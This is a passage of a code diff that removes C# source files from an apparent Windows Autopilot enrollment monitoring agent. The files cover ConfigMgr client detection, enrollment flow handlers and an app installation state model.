||||
string enrollmentType;
|
||||
lock (_stateLock)
|
||||
{
|
||||
isDeviceOnly = IsDeviceOnlyDeployment;
|
||||
isSelfDeploying = IsSelfDeploying;
|
||||
aadJoinedWithUser = _aadJoinedWithUser;
|
||||
autopilotMode = _autopilotMode;
|
||||
skipUserStatusPage = _skipUserStatusPage;
|
||||
enrollmentType = _enrollmentType;
|
||||
}
|
||||
|
||||
_logger.Info($"EnrollmentTracker: enrollment type detected: {enrollmentType ?? "unknown"} " +
|
||||
$"(autopilotMode={autopilotMode}, skipUserStatusPage={skipUserStatusPage}, skipDeviceStatusPage={result.skipDeviceStatusPage}, aadJoinedWithUser={aadJoinedWithUser})");
|
||||
|
||||
// Emit trace when AAD join with user is detected and reclassifies away from device-only
|
||||
if (aadJoinedWithUser && wasDeviceOnly && !isDeviceOnly)
|
||||
{
|
||||
EmitTraceEvent("user_session_detected_via_aad_join",
|
||||
"AAD join with user detected — user session active, using standard completion paths",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "autopilotMode", autopilotMode },
|
||||
{ "skipUserStatusPage", skipUserStatusPage },
|
||||
{ "aadJoinedWithUser", true },
|
||||
{ "isDeviceOnlyDeployment", false }
|
||||
});
|
||||
}
|
||||
|
||||
if (isDeviceOnly)
|
||||
{
|
||||
var reason = isSelfDeploying
|
||||
? "AutopilotMode=1 (Self-Deploying)"
|
||||
: $"SkipUserStatusPage=true (autopilotMode={autopilotMode})";
|
||||
EmitTraceEvent("device_only_deployment_detected",
|
||||
$"{reason} — Hello guard will be bypassed, provisioning status used as completion signal",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "autopilotMode", autopilotMode },
|
||||
{ "skipUserStatusPage", skipUserStatusPage },
|
||||
{ "enrollmentType", enrollmentType },
|
||||
{ "aadJoinedWithUser", aadJoinedWithUser },
|
||||
{ "isSelfDeploying", isSelfDeploying },
|
||||
{ "isDeviceOnlyDeployment", true }
|
||||
});
|
||||
}
|
||||
|
||||
// Mark device info as collected and re-evaluate any deferred completion signal
|
||||
_deviceInfoCollected = true;
|
||||
|
||||
string pendingSource;
|
||||
lock (_stateLock) { pendingSource = _pendingCompletionSource; _pendingCompletionSource = null; }
|
||||
if (pendingSource != null)
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: re-evaluating deferred completion signal '{pendingSource}' now that device info is available " +
|
||||
$"(isDeviceOnly={isDeviceOnly}, autopilotMode={autopilotMode}, skipUserStatusPage={skipUserStatusPage})");
|
||||
if (pendingSource == "device_setup_provisioning_complete")
|
||||
OnDeviceSetupProvisioningComplete(this, EventArgs.Empty);
|
||||
else
|
||||
TryEmitEnrollmentComplete(pendingSource);
|
||||
}
|
||||
|
||||
// Shadow state machine: track device info collected
|
||||
ShadowProcessTrigger("device_info_collected");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Collects device info that may change during enrollment (e.g., BitLocker enabled via policy).
|
||||
/// Called at enrollment complete to capture final state.
|
||||
/// </summary>
|
||||
private void CollectDeviceInfoAtEnd()
|
||||
=> _deviceInfoCollector.CollectAtEnd();
|
||||
|
||||
/// <summary>
|
||||
/// Checks for ConfigMgr (SCCM) co-management client presence on the device.
|
||||
/// Fire-once: emits <c>configmgr_client_detected</c> event on first detection only.
|
||||
/// Called at startup, DeviceSetup, and AccountSetup — always via Task.Run to avoid blocking.
|
||||
/// </summary>
|
||||
private void CheckConfigMgrClient(string trigger)
|
||||
{
|
||||
if (_configMgrDetected) return;
|
||||
|
||||
try
|
||||
{
|
||||
bool registryFound = false;
|
||||
bool directoryFound = false;
|
||||
string ccmVersion = null;
|
||||
string siteCode = null;
|
||||
string serviceState = "not_found";
|
||||
|
||||
// 1. Registry: HKLM\SOFTWARE\Microsoft\CCM
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\CCM"))
|
||||
{
|
||||
if (key != null)
|
||||
registryFound = true;
|
||||
}
|
||||
|
||||
// Version from CCMSetup
|
||||
using (var setupKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\CCMSetup"))
|
||||
ccmVersion = setupKey?.GetValue("LastValidVersion")?.ToString();
|
||||
|
||||
// SiteCode from SMS Mobile Client
|
||||
using (var smsKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\SMS\Mobile Client"))
|
||||
siteCode = smsKey?.GetValue("AssignedSiteCode")?.ToString();
|
||||
|
||||
// 2. Directory: C:\Windows\CCM
|
||||
directoryFound = Directory.Exists(@"C:\Windows\CCM");
|
||||
|
||||
// 3. Service: CcmExec (via ServiceController, native .NET Framework 4.8)
|
||||
try
|
||||
{
|
||||
using (var sc = new System.ServiceProcess.ServiceController("CcmExec"))
|
||||
serviceState = sc.Status.ToString();
|
||||
}
|
||||
catch (InvalidOperationException) { } // service not installed
|
||||
|
||||
// Compute confidence score — directory alone is too weak (could be remnant)
|
||||
int confidence = 0;
|
||||
if (directoryFound) confidence += 10;
|
||||
if (registryFound) confidence += 20;
|
||||
if (ccmVersion != null) confidence += 15;
|
||||
if (siteCode != null) confidence += 15;
|
||||
if (serviceState != "not_found") confidence += 20;
|
||||
if (serviceState == "Running") confidence += 20;
|
||||
|
||||
// Nothing found — no event
|
||||
if (confidence == 0)
|
||||
return;
|
||||
|
||||
_configMgrDetected = true;
|
||||
|
||||
var versionSuffix = ccmVersion != null ? $" (v{ccmVersion})" : "";
|
||||
var siteSuffix = siteCode != null ? $", site {siteCode}" : "";
|
||||
var confidenceLabel = confidence >= 50 ? "high" : "low";
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "configmgr_client_detected",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "Agent",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"ConfigMgr (SCCM) client detected ({confidenceLabel} confidence: {confidence}/100) — co-managed device{versionSuffix}{siteSuffix}",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "ccmRegistryFound", registryFound },
|
||||
{ "ccmDirectoryFound", directoryFound },
|
||||
{ "ccmServiceState", serviceState },
|
||||
{ "ccmVersion", ccmVersion ?? "unknown" },
|
||||
{ "siteCode", siteCode ?? "unknown" },
|
||||
{ "confidenceScore", confidence },
|
||||
{ "detectedAt", trigger }
|
||||
}
|
||||
});
|
||||
|
||||
_logger.Info($"ConfigMgr client detected (trigger={trigger}, confidence={confidence}, service={serviceState}, version={ccmVersion ?? "?"})");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: ConfigMgr check failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows
|
||||
{
|
||||
public sealed class ClassicAutopilotFlow : IEnrollmentFlowHandler
|
||||
{
|
||||
public EnrollmentType SupportedType => EnrollmentType.Classic;
|
||||
public bool TracksEspPhases => true;
|
||||
public bool AppliesEspGateOnDesktopArrival => true;
|
||||
}
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows
|
||||
{
|
||||
public sealed class DevicePreparationFlow : IEnrollmentFlowHandler
|
||||
{
|
||||
public EnrollmentType SupportedType => EnrollmentType.DevicePreparation;
|
||||
public bool TracksEspPhases => false;
|
||||
public bool AppliesEspGateOnDesktopArrival => false;
|
||||
}
|
||||
}
|
||||
-21
@@ -1,21 +0,0 @@
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows
|
||||
{
|
||||
public static class EnrollmentFlowFactory
|
||||
{
|
||||
/// <summary>
|
||||
/// Returns the flow handler for the given enrollment type.
|
||||
/// <see cref="EnrollmentType.Unknown"/> falls back to the Classic flow
|
||||
/// (safe default — Classic is the long-standing behavior).
|
||||
/// </summary>
|
||||
public static IEnrollmentFlowHandler Create(EnrollmentType type) => type switch
|
||||
{
|
||||
EnrollmentType.DevicePreparation => new DevicePreparationFlow(),
|
||||
_ => new ClassicAutopilotFlow()
|
||||
};
|
||||
|
||||
public static IEnrollmentFlowHandler FromWireFormat(string wireFormat)
|
||||
=> Create(EnrollmentTypeExtensions.FromWireFormat(wireFormat));
|
||||
}
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows
|
||||
{
|
||||
/// <summary>
|
||||
/// Encapsulates the policy decisions that differ between the Classic Autopilot (v1)
|
||||
/// flow and the Windows Autopilot Device Preparation (v2) flow.
|
||||
///
|
||||
/// Today the flow handler only owns policy bits; tracker ownership remains in
|
||||
/// <c>CollectorCoordinator</c>. When DevPrep-specific trackers land, they will
|
||||
/// move into the corresponding flow handler.
|
||||
/// </summary>
|
||||
public interface IEnrollmentFlowHandler
|
||||
{
|
||||
EnrollmentType SupportedType { get; }
|
||||
|
||||
/// <summary>
|
||||
/// True when the flow relies on ESP-phase signals for progress and completion.
|
||||
/// Classic: true. DevPrep (WDP): false (no ESP exists).
|
||||
/// </summary>
|
||||
bool TracksEspPhases { get; }
|
||||
|
||||
/// <summary>
|
||||
/// True when completion triggered by desktop-arrival / desktop-hello must be
|
||||
/// blocked while ESP has been observed but has not reached its final exit.
|
||||
/// Classic: true (AccountSetup may still be running). DevPrep: false.
|
||||
/// </summary>
|
||||
bool AppliesEspGateOnDesktopArrival { get; }
|
||||
}
|
||||
}
|
||||
@@ -1,548 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Installation state of an app package during enrollment.
|
||||
/// Order matters: states are compared numerically for upgrade-only transitions.
|
||||
/// </summary>
|
||||
public enum AppInstallationState
|
||||
{
|
||||
Unknown = 0,
|
||||
NotInstalled = 1,
|
||||
InProgress = 2,
|
||||
Downloading = 3,
|
||||
Installing = 4,
|
||||
Installed = 5,
|
||||
Skipped = 6,
|
||||
Postponed = 7,
|
||||
Error = 8
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// How the app should run
|
||||
/// </summary>
|
||||
public enum AppRunAs
|
||||
{
|
||||
Unknown = -1,
|
||||
User = 0,
|
||||
System = 1
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// App install intent from Intune policy
|
||||
/// </summary>
|
||||
public enum AppIntent
|
||||
{
|
||||
Unknown = -1,
|
||||
NotTargeted = 0,
|
||||
Available = 1,
|
||||
Install = 3,
|
||||
Uninstall = 4
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// How the app is targeted
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum AppTargeted
|
||||
{
|
||||
Unknown = 128,
|
||||
Dependency = 0,
|
||||
User = 1,
|
||||
Device = 2
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Win32 app state values from IME
|
||||
/// </summary>
|
||||
public enum Win32AppState
|
||||
{
|
||||
Unknown = 0,
|
||||
NotInstalled = 1,
|
||||
InProgress = 2,
|
||||
Completed = 3,
|
||||
Error = 4
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents the state of a single app package during enrollment.
|
||||
/// Adapted from EspOverlay PackageState with state transition protection.
|
||||
/// </summary>
|
||||
public class AppPackageState : IComparable<AppPackageState>
|
||||
{
|
||||
public static bool SortErrorsToTop = false;
|
||||
|
||||
public string Id { get; }
|
||||
public int ListPos { get; }
|
||||
public string Name { get; private set; }
|
||||
public AppRunAs RunAs { get; private set; } = AppRunAs.Unknown;
|
||||
public AppIntent Intent { get; private set; } = AppIntent.Unknown;
|
||||
public AppTargeted Targeted { get; private set; } = AppTargeted.Unknown;
|
||||
public HashSet<string> DependsOn { get; private set; } = new HashSet<string>();
|
||||
public AppInstallationState InstallationState { get; private set; } = AppInstallationState.Unknown;
|
||||
public long InstallationStateLastChangedTicks { get; private set; } = 0;
|
||||
public bool DownloadingOrInstallingSeen { get; private set; } = false;
|
||||
public int? ProgressPercent { get; private set; } = null;
|
||||
public long BytesDownloaded { get; private set; } = 0;
|
||||
public long BytesTotal { get; private set; } = 0;
|
||||
public string ErrorPatternId { get; private set; }
|
||||
public string ErrorDetail { get; private set; }
|
||||
public string ErrorCode { get; private set; }
|
||||
|
||||
// Installer result codes (captured from lpExitCode / hResultFromWin32 log lines)
|
||||
public string ExitCode { get; private set; }
|
||||
public string HResultFromWin32 { get; private set; }
|
||||
|
||||
// App metadata (captured from IME log patterns — used by App Dashboard / reports)
|
||||
/// <summary>Product version detected after install (e.g. "11.2.1787.0"). From ReportingManager DetectedIdentityVersion.</summary>
|
||||
public string AppVersion { get; private set; }
|
||||
/// <summary>App installer type: "Win32", "MSI", "WinGet", "Store", "LOB". Derived from [WinGetApp]/MSI markers.</summary>
|
||||
public string AppType { get; private set; }
|
||||
/// <summary>Install attempt number (1 = first try). Increments on each "Execute retry N" line per check-in cycle.</summary>
|
||||
public int AttemptNumber { get; private set; }
|
||||
/// <summary>Detection rule result: "Detected" or "NotDetected". From DetectionActionHandler log lines.</summary>
|
||||
public string DetectionResult { get; private set; }
|
||||
|
||||
// Delivery Optimization telemetry (populated from [DO TEL] log entries)
|
||||
public long DoFileSize { get; private set; }
|
||||
public long DoTotalBytesDownloaded { get; private set; }
|
||||
public long DoBytesFromPeers { get; private set; }
|
||||
public int DoPercentPeerCaching { get; private set; }
|
||||
public long DoBytesFromLanPeers { get; private set; }
|
||||
public long DoBytesFromGroupPeers { get; private set; }
|
||||
public long DoBytesFromInternetPeers { get; private set; }
|
||||
public int DoDownloadMode { get; private set; } = -1;
|
||||
public string DoDownloadDuration { get; private set; }
|
||||
public long DoBytesFromHttp { get; private set; }
|
||||
public bool HasDoTelemetry { get; private set; }
|
||||
|
||||
private static readonly Dictionary<Win32AppState, AppInstallationState> Win32StateMap =
|
||||
new Dictionary<Win32AppState, AppInstallationState>
|
||||
{
|
||||
{ Win32AppState.Unknown, AppInstallationState.Unknown },
|
||||
{ Win32AppState.InProgress, AppInstallationState.InProgress },
|
||||
{ Win32AppState.Completed, AppInstallationState.Installed },
|
||||
{ Win32AppState.Error, AppInstallationState.Error }
|
||||
};
|
||||
|
||||
private static readonly Dictionary<AppInstallationState, int> SortOrderOverrides =
|
||||
new Dictionary<AppInstallationState, int>
|
||||
{
|
||||
{ AppInstallationState.Skipped, (int)AppInstallationState.Installed },
|
||||
{ AppInstallationState.Postponed, (int)AppInstallationState.Installed },
|
||||
{ AppInstallationState.Error, (int)AppInstallationState.Installed }
|
||||
};
|
||||
|
||||
public AppPackageState(string id, int listPos)
|
||||
{
|
||||
Id = id;
|
||||
ListPos = listPos;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Restores an AppPackageState from persisted data (used on agent restart).
|
||||
/// </summary>
|
||||
internal static AppPackageState Restore(
|
||||
string id, int listPos, string name,
|
||||
AppRunAs runAs, AppIntent intent, AppTargeted targeted,
|
||||
HashSet<string> dependsOn,
|
||||
AppInstallationState installationState, bool downloadingOrInstallingSeen,
|
||||
int? progressPercent, long bytesDownloaded, long bytesTotal,
|
||||
string errorPatternId = null, string errorDetail = null, string errorCode = null,
|
||||
string exitCode = null, string hresultFromWin32 = null,
|
||||
long doFileSize = 0, long doTotalBytesDownloaded = 0,
|
||||
long doBytesFromPeers = 0, int doPercentPeerCaching = 0,
|
||||
long doBytesFromLanPeers = 0, long doBytesFromGroupPeers = 0,
|
||||
long doBytesFromInternetPeers = 0, int doDownloadMode = -1,
|
||||
string doDownloadDuration = null, long doBytesFromHttp = 0,
|
||||
bool hasDoTelemetry = false,
|
||||
string appVersion = null, string appType = null,
|
||||
int attemptNumber = 0, string detectionResult = null)
|
||||
{
|
||||
var pkg = new AppPackageState(id, listPos)
|
||||
{
|
||||
Name = name,
|
||||
RunAs = runAs,
|
||||
Intent = intent,
|
||||
Targeted = targeted,
|
||||
DependsOn = dependsOn ?? new HashSet<string>(),
|
||||
InstallationState = installationState,
|
||||
DownloadingOrInstallingSeen = downloadingOrInstallingSeen,
|
||||
ProgressPercent = progressPercent,
|
||||
BytesDownloaded = bytesDownloaded,
|
||||
BytesTotal = bytesTotal,
|
||||
ErrorPatternId = errorPatternId,
|
||||
ErrorDetail = errorDetail,
|
||||
ErrorCode = errorCode,
|
||||
ExitCode = exitCode,
|
||||
HResultFromWin32 = hresultFromWin32,
|
||||
InstallationStateLastChangedTicks = Stopwatch.GetTimestamp(),
|
||||
DoFileSize = doFileSize,
|
||||
DoTotalBytesDownloaded = doTotalBytesDownloaded,
|
||||
DoBytesFromPeers = doBytesFromPeers,
|
||||
DoPercentPeerCaching = doPercentPeerCaching,
|
||||
DoBytesFromLanPeers = doBytesFromLanPeers,
|
||||
DoBytesFromGroupPeers = doBytesFromGroupPeers,
|
||||
DoBytesFromInternetPeers = doBytesFromInternetPeers,
|
||||
DoDownloadMode = doDownloadMode,
|
||||
DoDownloadDuration = doDownloadDuration,
|
||||
DoBytesFromHttp = doBytesFromHttp,
|
||||
HasDoTelemetry = hasDoTelemetry,
|
||||
AppVersion = appVersion,
|
||||
AppType = appType,
|
||||
AttemptNumber = attemptNumber,
|
||||
DetectionResult = detectionResult
|
||||
};
|
||||
return pkg;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the app name. Only updates if the new name is not a truncated version of the current name.
|
||||
/// </summary>
|
||||
public bool UpdateName(string newName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(newName) || string.Equals(Name, newName))
|
||||
return false;
|
||||
|
||||
// Avoid overwriting with a truncated version
|
||||
if (Name != null && newName.Length > 0 && Name.StartsWith(newName))
|
||||
return false;
|
||||
|
||||
Name = newName;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates RunAs property
|
||||
/// </summary>
|
||||
public bool UpdateRunAs(AppRunAs newRunAs)
|
||||
{
|
||||
if (RunAs == newRunAs) return false;
|
||||
RunAs = newRunAs;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates Intent property
|
||||
/// </summary>
|
||||
public bool UpdateIntent(AppIntent newIntent)
|
||||
{
|
||||
if (Intent == newIntent) return false;
|
||||
Intent = newIntent;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates Targeted property
|
||||
/// </summary>
|
||||
public bool UpdateTargeted(AppTargeted newTargeted)
|
||||
{
|
||||
if (Targeted == newTargeted) return false;
|
||||
Targeted = newTargeted;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates DependsOn set
|
||||
/// </summary>
|
||||
public bool UpdateDependsOn(HashSet<string> newDependsOn)
|
||||
{
|
||||
if (newDependsOn == null) newDependsOn = new HashSet<string>();
|
||||
if (DependsOn.SetEquals(newDependsOn)) return false;
|
||||
DependsOn = newDependsOn;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sets the error context for the app (called when an error pattern is matched).
|
||||
/// </summary>
|
||||
public void SetErrorContext(string patternId, string detail, string errorCode = null)
|
||||
{
|
||||
ErrorPatternId = patternId;
|
||||
ErrorDetail = detail;
|
||||
if (!string.IsNullOrEmpty(errorCode))
|
||||
ErrorCode = errorCode;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Captures the installer exit code (lpExitCode) for the app.
|
||||
/// </summary>
|
||||
public void UpdateExitCode(string code)
|
||||
{
|
||||
ExitCode = code;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Captures the Win32 HRESULT (hResultFromWin32) for the app.
|
||||
/// </summary>
|
||||
public void UpdateHResult(string code)
|
||||
{
|
||||
HResultFromWin32 = code;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the product version detected for this app (e.g. "11.2.1787.0").
|
||||
/// Only applies non-empty values so a later detection without version cannot wipe it.
|
||||
/// </summary>
|
||||
public bool UpdateAppVersion(string version)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(version)) return false;
|
||||
if (AppVersion == version) return false;
|
||||
AppVersion = version.Trim();
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the app installer type. Only sets when current is empty OR
|
||||
/// when the incoming value is more specific than the existing one
|
||||
/// (e.g. "WinGet"/"MSI" override the "Win32" default).
|
||||
/// </summary>
|
||||
public bool UpdateAppType(string type)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(type)) return false;
|
||||
if (AppType == type) return false;
|
||||
// Do not let a generic "Win32" downgrade a previously determined "WinGet"/"MSI".
|
||||
if (!string.IsNullOrEmpty(AppType) && type == "Win32"
|
||||
&& (AppType == "WinGet" || AppType == "MSI" || AppType == "Store" || AppType == "LOB"))
|
||||
return false;
|
||||
AppType = type;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the install attempt number. Keeps the highest observed value
|
||||
/// so it is monotonic across log batches.
|
||||
/// </summary>
|
||||
public bool UpdateAttemptNumber(int attempt)
|
||||
{
|
||||
if (attempt <= AttemptNumber) return false;
|
||||
AttemptNumber = attempt;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the detection rule result ("Detected" / "NotDetected").
|
||||
/// Applies any non-empty value so the latest detection wins.
|
||||
/// </summary>
|
||||
public bool UpdateDetectionResult(string result)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(result)) return false;
|
||||
if (DetectionResult == result) return false;
|
||||
DetectionResult = result.Trim();
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates Delivery Optimization telemetry data for this app package.
|
||||
/// Called when a [DO TEL] log entry is matched and linked to this app.
|
||||
/// </summary>
|
||||
public void UpdateDoTelemetry(long fileSize, long totalBytesDownloaded,
|
||||
long bytesFromPeers, int percentPeerCaching,
|
||||
long bytesFromLanPeers, long bytesFromGroupPeers, long bytesFromInternetPeers,
|
||||
int downloadMode, string downloadDuration, long bytesFromHttp)
|
||||
{
|
||||
DoFileSize = fileSize;
|
||||
DoTotalBytesDownloaded = totalBytesDownloaded;
|
||||
DoBytesFromPeers = bytesFromPeers;
|
||||
DoPercentPeerCaching = percentPeerCaching;
|
||||
DoBytesFromLanPeers = bytesFromLanPeers;
|
||||
DoBytesFromGroupPeers = bytesFromGroupPeers;
|
||||
DoBytesFromInternetPeers = bytesFromInternetPeers;
|
||||
DoDownloadMode = downloadMode;
|
||||
DoDownloadDuration = downloadDuration;
|
||||
DoBytesFromHttp = bytesFromHttp;
|
||||
HasDoTelemetry = true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the installation state with transition protection.
|
||||
/// Returns true if the state actually changed.
|
||||
/// </summary>
|
||||
public bool UpdateState(AppInstallationState newState, int? newProgressPercent = null, bool upgradeOnly = false, long bytesDownloaded = 0, long bytesTotal = 0)
|
||||
{
|
||||
// upgradeOnly: only allow "higher" states (used by Win32AppState mapping)
|
||||
if (upgradeOnly && newState < InstallationState)
|
||||
return false;
|
||||
|
||||
// Cannot downgrade from Installed to Skipped or Postponed
|
||||
if (InstallationState == AppInstallationState.Installed &&
|
||||
(newState == AppInstallationState.Skipped || newState == AppInstallationState.Postponed))
|
||||
return false;
|
||||
|
||||
// Postponed cannot go back to Downloading or lower active states
|
||||
if (InstallationState == AppInstallationState.Postponed && newState <= AppInstallationState.Downloading)
|
||||
return false;
|
||||
|
||||
// If "Installed" without ever seeing download/install -> auto-downgrade to Skipped
|
||||
// This handles apps with "inverse" detection rules (e.g., uninstall packages marked as
|
||||
// installed when old software is NOT detected)
|
||||
if (newState == AppInstallationState.Installed && !DownloadingOrInstallingSeen)
|
||||
newState = AppInstallationState.Skipped;
|
||||
|
||||
// Compute the effective progress percent that will be applied
|
||||
var effectiveProgressPercent = (newState == AppInstallationState.Installed && newProgressPercent == null) ? 100 : newProgressPercent;
|
||||
// Compute effective bytes: only consider new values if non-zero, otherwise keep current
|
||||
var effectiveBytesDownloaded = (bytesDownloaded > 0 || bytesTotal > 0) ? bytesDownloaded : BytesDownloaded;
|
||||
var effectiveBytesTotal = (bytesDownloaded > 0 || bytesTotal > 0) ? bytesTotal : BytesTotal;
|
||||
// After WinGet completion fix: if Installed and total > 0 and downloaded < total, downloaded becomes total
|
||||
if (newState == AppInstallationState.Installed && effectiveBytesTotal > 0 && effectiveBytesDownloaded < effectiveBytesTotal)
|
||||
effectiveBytesDownloaded = effectiveBytesTotal;
|
||||
|
||||
// Skip if no actual change
|
||||
if (newState == InstallationState && effectiveProgressPercent == ProgressPercent && effectiveBytesDownloaded == BytesDownloaded && effectiveBytesTotal == BytesTotal)
|
||||
return false;
|
||||
|
||||
var oldState = InstallationState;
|
||||
InstallationState = newState;
|
||||
InstallationStateLastChangedTicks = Stopwatch.GetTimestamp();
|
||||
DownloadingOrInstallingSeen |= (InstallationState >= AppInstallationState.Downloading &&
|
||||
InstallationState <= AppInstallationState.Installing);
|
||||
ProgressPercent = effectiveProgressPercent;
|
||||
BytesDownloaded = effectiveBytesDownloaded;
|
||||
BytesTotal = effectiveBytesTotal;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates state from a Win32AppState string or integer string (e.g., "2" or "InProgress").
|
||||
/// Uses upgrade-only mode to prevent "InProgress" from destroying more detailed states.
|
||||
/// </summary>
|
||||
public bool UpdateStateFromWin32AppState(string win32AppStateStringOrIntString)
|
||||
{
|
||||
Win32AppState win32State;
|
||||
if (Enum.TryParse(win32AppStateStringOrIntString, true, out win32State))
|
||||
return UpdateStateFromWin32AppState(win32State);
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates state from Win32AppState enum value.
|
||||
/// </summary>
|
||||
public bool UpdateStateFromWin32AppState(Win32AppState win32State)
|
||||
{
|
||||
AppInstallationState newState;
|
||||
if (Win32StateMap.TryGetValue(win32State, out newState))
|
||||
return UpdateState(newState, upgradeOnly: true);
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Whether this app requires installation (Install or Uninstall intent)
|
||||
/// </summary>
|
||||
public bool IsRequired => Intent == AppIntent.Install || Intent == AppIntent.Uninstall;
|
||||
|
||||
/// <summary>
|
||||
/// Whether the app is currently being processed (InProgress, Downloading, or Installing)
|
||||
/// </summary>
|
||||
public bool IsActive => InstallationState >= AppInstallationState.InProgress &&
|
||||
InstallationState <= AppInstallationState.Installing;
|
||||
|
||||
/// <summary>
|
||||
/// Whether the app has reached a terminal state (Installed, Skipped, Postponed, Error)
|
||||
/// </summary>
|
||||
public bool IsCompleted => InstallationState >= AppInstallationState.Installed;
|
||||
|
||||
/// <summary>
|
||||
/// Whether the app is in an error state
|
||||
/// </summary>
|
||||
public bool IsError => InstallationState == AppInstallationState.Error;
|
||||
|
||||
/// <summary>
|
||||
/// Comparison for sorting: active apps first, then by state change time, then by list position.
|
||||
/// </summary>
|
||||
public int CompareTo(AppPackageState other)
|
||||
{
|
||||
// First: descending on sort order (active apps at top)
|
||||
var result = -(SortOrder.CompareTo(other.SortOrder));
|
||||
if (result == 0)
|
||||
{
|
||||
// Then: by installation state last changed
|
||||
result = InstallationStateLastChangedTicks.CompareTo(other.InstallationStateLastChangedTicks);
|
||||
}
|
||||
if (result == 0)
|
||||
{
|
||||
// Then: by original position in policy list
|
||||
result = ListPos.CompareTo(other.ListPos);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private int SortOrder
|
||||
{
|
||||
get
|
||||
{
|
||||
if (SortErrorsToTop && InstallationState == AppInstallationState.Error)
|
||||
return -1;
|
||||
|
||||
int sortOrder;
|
||||
if (SortOrderOverrides.TryGetValue(InstallationState, out sortOrder))
|
||||
return sortOrder;
|
||||
|
||||
return (int)InstallationState;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns a summary dictionary for event data
|
||||
/// </summary>
|
||||
public Dictionary<string, object> ToEventData()
|
||||
{
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "appId", Id },
|
||||
{ "appName", Name ?? Id },
|
||||
{ "state", InstallationState.ToString() },
|
||||
{ "intent", Intent.ToString() },
|
||||
{ "targeted", Targeted.ToString() },
|
||||
{ "runAs", RunAs.ToString() },
|
||||
{ "progressPercent", ProgressPercent ?? 0 },
|
||||
{ "bytesDownloaded", BytesDownloaded },
|
||||
{ "bytesTotal", BytesTotal },
|
||||
{ "isError", IsError },
|
||||
{ "isCompleted", IsCompleted }
|
||||
};
|
||||
|
||||
if (!string.IsNullOrEmpty(ErrorPatternId))
|
||||
data["errorPatternId"] = ErrorPatternId;
|
||||
if (!string.IsNullOrEmpty(ErrorDetail))
|
||||
data["errorDetail"] = ErrorDetail;
|
||||
if (!string.IsNullOrEmpty(ErrorCode))
|
||||
data["errorCode"] = ErrorCode;
|
||||
|
||||
if (!string.IsNullOrEmpty(ExitCode))
|
||||
data["exitCode"] = ExitCode;
|
||||
if (!string.IsNullOrEmpty(HResultFromWin32))
|
||||
data["hresultFromWin32"] = HResultFromWin32;
|
||||
|
||||
// App metadata fields (emitted whenever available so ingest can merge them).
|
||||
if (!string.IsNullOrEmpty(AppVersion))
|
||||
data["appVersion"] = AppVersion;
|
||||
if (!string.IsNullOrEmpty(AppType))
|
||||
